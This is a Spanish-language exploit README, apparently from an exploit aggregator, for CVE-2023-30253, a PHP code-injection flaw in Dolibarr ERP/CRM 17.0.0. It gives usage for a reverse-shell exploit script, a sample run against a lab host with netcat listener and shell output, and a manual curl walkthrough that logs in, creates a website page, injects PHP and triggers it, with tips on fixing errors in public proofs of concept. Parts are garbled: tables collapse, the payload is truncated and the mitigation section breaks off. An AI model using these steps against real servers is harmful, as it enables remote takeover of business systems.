Share
## https://sploitus.com/exploit?id=69442CC3-B601-573D-824A-CC019C504C9E
# CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Remote Code Execution

[![Python 3.8+](https://img.shields.io/badge/Python-3.8%2B-blue)](https://python.org)
[![License](https://img.shields.io/badge/License-MIT-green)](LICENSE)
[![CVSS](https://img.shields.io/badge/CVSS-8.8-red)](https://nvd.nist.gov/vuln/detail/CVE-2023-30253)

Exploit de inyección de código PHP para **Dolibarr ERP/CRM v17.0.0** que
permite obtener una **shell reversa** como usuario `www-data` mediante
el módulo Website/CMS.

**⚠️ Solo para uso educativo y auditorías con autorización.**

---

## 📑 Índice

- [¿Qué es CVE-2023-30253?](#-qué-es-cve-2023-30253)
- [¿Cómo funciona la vulnerabilidad?](#-cómo-funciona-la-vulnerabilidad)
- [Impacto](#-impacto)
- [¿Qué hace este exploit?](#-qué-hace-este-exploit)
- [Requisitos](#-requisitos)
- [Instalación](#-instalación)
- [Uso](#-uso)
- [Ejemplo práctico](#-ejemplo-práctico)
- [El exploit paso a paso](#-el-exploit-paso-a-paso)
- [Mitigación](#-mitigación)
- [Referencias](#-referencias)

---

## 🔍 ¿Qué es CVE-2023-30253?

**CVE-2023-30253** es una vulnerabilidad de **inyección de código PHP**
(CWE-94: Improper Control of Generation of Code) en Dolibarr ERP/CRM
versiones anteriores a **17.0.1**.

Fue descubierta y reportada por el equipo de **Swascan** (ahora
Hacktivesecurity) en mayo de 2023. La vulnerabilidad reside en el
módulo **Website/CMS**, que permite a usuarios autenticados crear y
gestionar sitios web dentro de Dolibarr.

| Campo                | Valor                                                  |
|----------------------|--------------------------------------------------------|
| **CVE**              | CVE-2023-30253                                         |
| **CVSS v3.1**        | 8.8 (HIGH)                                             |
| **Vector**           | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H                   |
| **Tipo**             | CWE-94 — Code Injection                                |
| **Software afectado**| Dolibarr ERP/CRM `|     ✅     |         ✅          |
| ``|     ❌     |         ✅          |
| ``|     ❌     |         ✅          |
| ``|     ❌     |         ✅          |

El exploit usa `     [opciones]
```

**Argumentos posicionales:**

| Argumento    | Descripción                                    | Ejemplo                  |
|--------------|------------------------------------------------|--------------------------|
| `target`     | URL base de Dolibarr                           | `http://crm.board.htb`   |
| `username`   | Usuario de Dolibarr                            | `admin`                  |
| `password`   | Contraseña de Dolibarr                         | `admin`                  |
| `lhost`      | Tu IP (donde recibirás la shell)               | `10.10.14.5`             |
| `lport`      | Tu puerto (donde recibirás la shell)           | `4444`                   |

**Opciones:**

| Opción            | Descripción                                    |
|-------------------|------------------------------------------------|
| `-v, --verbose`   | Muestra información detallada de depuración    |
| `--no-color`      | Desactiva colores en la salida                 |
| `-h, --help`      | Muestra la ayuda y ejemplos                    |

---

## 🎯 Ejemplo práctico

### Terminal 1 — Iniciar listener de shell reversa

```bash
nc -lvnp 4444
```

### Terminal 2 — Ejecutar exploit

```bash
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
```

### Salida esperada

```
════════════════════════════════════════════════════════
 CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════

  Target:   http://crm.board.htb
  User:     admin
  LHOST:    10.10.14.5
  LPORT:    4444
  Site ID:  s3a1f2bc

──────────────────────────────────────────────────

[10:45:12] Paso 1/5: Iniciando sesión...
[10:45:12]   ✓ Sesión iniciada correctamente

[10:45:13] Paso 2/5: Creando sitio web...
[10:45:13]   ✓ Sitio web 's3a1f2bc' creado

[10:45:13] Paso 3/5: Creando página en el sitio...
[10:45:13]   ✓ Página creada dentro del sitio

[10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
[10:45:14]   ✓ Código PHP inyectado exitosamente

[10:45:14] Paso 5/5: Ejecutando payload (trigger)...

════════════════════════════════════════════════════════
  EXPLOTACIÓN COMPLETADA
════════════════════════════════════════════════════════

  Trigger URL:
  http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc

  Instrucciones:
  1. En otra terminal, inicia tu listener:
     nc -lvnp 4444
  2. Accede a la Trigger URL (el exploit ya lo hizo)
  3. Recibirás una shell reversa como www-data
```

### Terminal 1 — Shell obtenida 🎯

```
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

---

## 🔬 El exploit paso a paso

Si prefieres entender el proceso manualmente (sin el script), aquí
está el flujo completo:

### 1. Autenticarse

```bash
# Obtener cookies y token CSRF
curl -c cookies.txt http://crm.board.htb/ > /dev/null

# Extraer token
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

# Login
curl -b cookies.txt -c cookies.txt \
  -X POST "http://crm.board.htb/index.php?mainmenu=home" \
  -d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
```

### 2. Crear un sitio web

```bash
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?action=createsite" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
```

> **⚠️ Lección aprendida:** El parámetro `action` correcto es `addsite`,
> no `add` como aparece en algunos exploits públicos.

### 3. Crear una página

```bash
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
```

### 4. Inyectar código PHP

```bash
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

PHP='$s,1=>$s,2=>$s),$p);?>'

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "action=updatesource" \
  --data-urlencode "website=misitio" \
  --data-urlencode "PAGE_CONTENT=$PHP"
```

> **🔑 Clave del ataque:** El campo correcto es `PAGE_CONTENT`, no
> `WEBSITE_CONTENT`. Muchos PoCs públicos tienen este error.

### 5. Ejecutar el payload

```bash
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
```

---

## 🛡️ Mitigación

Para proteger un servidor Dolibarr contra esta vulnerabilidad:

### Actualizar (recomendado)
```bash
# Actualizar a Dolibarr 17.0.1 o superior
# El parche corrige el filtro para detectar cualquier variante de 
  
    Creado por Jean Carlos
    
    Estudiante de Ciberseguridad | Pentesting | CTF Player
    
    
      CVE-2021-3560 •
      CVE-2023-27163 •
      CVE-2024-46986 •
      CVE-2025-2304